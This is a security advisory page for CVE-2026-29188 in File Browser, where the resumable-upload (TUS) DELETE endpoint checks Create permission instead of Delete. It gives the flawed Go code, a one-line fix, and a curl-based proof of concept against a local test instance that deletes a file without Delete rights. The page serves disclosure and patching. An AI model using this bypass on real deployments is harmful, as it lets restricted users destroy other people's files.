CVE-2026-29188: File Browser's TUS Delete Endpoint Bypasses Delete Permission Check
Summary A broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.
Published Mar 4, 2026 · Updated Mar 5, 2026
Affected packages
github.com/filebrowser/filebrowser/v2
- Ecosystem
- Go
- Affected
- <= 2.61.0
- Fixed in
- 2.61.1
- Check
go list -m github.com/filebrowser/filebrowser/v2
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.
Details
The tusDeleteHandler function in http/tus_handlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete:
// http/tus_handlers.go - tusDeleteHandler (VULNERABLE)
func tusDeleteHandler(cache UploadCache) handleFunc {
return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
if r.URL.Path == "/" || !d.user.Perm.Create { // ← Wrong permission checked
return http.StatusForbidden, nil
}
// ...
err = d.user.Fs.RemoveAll(r.URL.Path) // File is deletedThe correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete:
// http/resource.go - resourceDeleteHandler (CORRECT)
func resourceDeleteHandler(fileCache FileCache) handleFunc {
return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
if r.URL.Path == "/" || !d.user.Perm.Delete { // ← Correct permission
return http.StatusForbidden, nil
}This inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tus_handlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated.
Proposed fix:
// http/tus_handlers.go
- if r.URL.Path == "/" || !d.user.Perm.Create {
+ if r.URL.Path == "/" || !d.user.Perm.Delete {PoC
- filebrowser built from latest master (git clone https://github.com/filebrowser/filebrowser)
- Tested on: Kali Linux, go version go1.23+
Setup section
# Build and initialize
git clone https://github.com/filebrowser/filebrowser
cd filebrowser
go build -o filebrowser .
./filebrowser config init
# Create a test user with Create=true but Delete=false
./filebrowser users add testuser SuperSecurePassword1234 \
--perm.create=true \
--perm.delete=false
# Start server
./filebrowser &POC script steps
- Confirm the Delete permission is correctly enforced on the standard endpoint:
TOKEN=$(curl -s -X POST localhost:8080/api/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"SuperSecurePassword1234"}')
# Attempt deletion via the standard resource endpoint → should be blocked
curl -s -X DELETE "localhost:8080/api/resources/target.txt" \
-H "X-Auth: $TOKEN" \
-w "HTTP Status: %{http_code}\n"
# Expected: HTTP Status: 403- Bypass via the TUS Delete endpoint:
# Initiate a TUS upload to register the file in the upload cache
curl -s -X POST "localhost:8080/api/tus/target.txt" \
-H "X-Auth: $TOKEN" \
-H "Upload-Length: 18" \
-w "HTTP Status: %{http_code}\n"
# Expected: HTTP Status: 201
# Now delete via the TUS endpoint - Perm.Delete is NOT checked
curl -s -X DELETE "localhost:8080/api/tus/target.txt" \
-H "X-Auth: $TOKEN" \
-w "HTTP Status: %{http_code}\n"
# Expected: HTTP Status: 204 ← File deleted despite Perm.Delete=falseObserved results:
DELETE /api/resources/target.txt --> 403 Forbidden ( permission enforced )
DELETE /api/tus/target.txt --> 204 No Content ( permission bypassed )Impact
This is a broken access control vulnerability (IDOR / permission model bypass). It affects any filebrowser deployment where:
- Multiple users share a single instance, and
- An administrator has explicitly set Perm.Delete=false for one or more users to restrict destructive operations
An attacker (authenticated user with Perm.Create=true) can permanently delete any file or directory within their assigned scope-including files they did not create - by initiating a TUS upload against the target path and immediately issuing a TUS DELETE request. This completely undermines the intended access control model, as administrators have no reliable way to prevent file deletion for users who retain upload rights.
Credited to fg0x0, hacdias.
References
- https://github.com/filebrowser/filebrowser/security/advisories/GHSA-79pf-vx4x-7jmm
- https://github.com/filebrowser/filebrowser/commit/7ed1425115be602c2b23236c410098ea2d74b42f
- https://nvd.nist.gov/vuln/detail/CVE-2026-29188
- https://github.com/filebrowser/filebrowser/releases/tag/v2.61.1
- https://github.com/advisories/GHSA-79pf-vx4x-7jmm
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-54088
File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
critical9.3Jul 10, 2026CVE-2026-54089
File Browser: Authentication Bypass via Proxy Auth Header Forgery
critical9.1No fixJul 10, 2026CVE-2026-32760
File Browser Signup Grants Admin When Default Permissions Include Admin
critical10.0Mar 16, 2026GHSA-6jqf-mv7m-3q7p
File Browser has risk of HTTP Request/Response smuggling through vulnerable dependency
critical9.1Nov 13, 2025
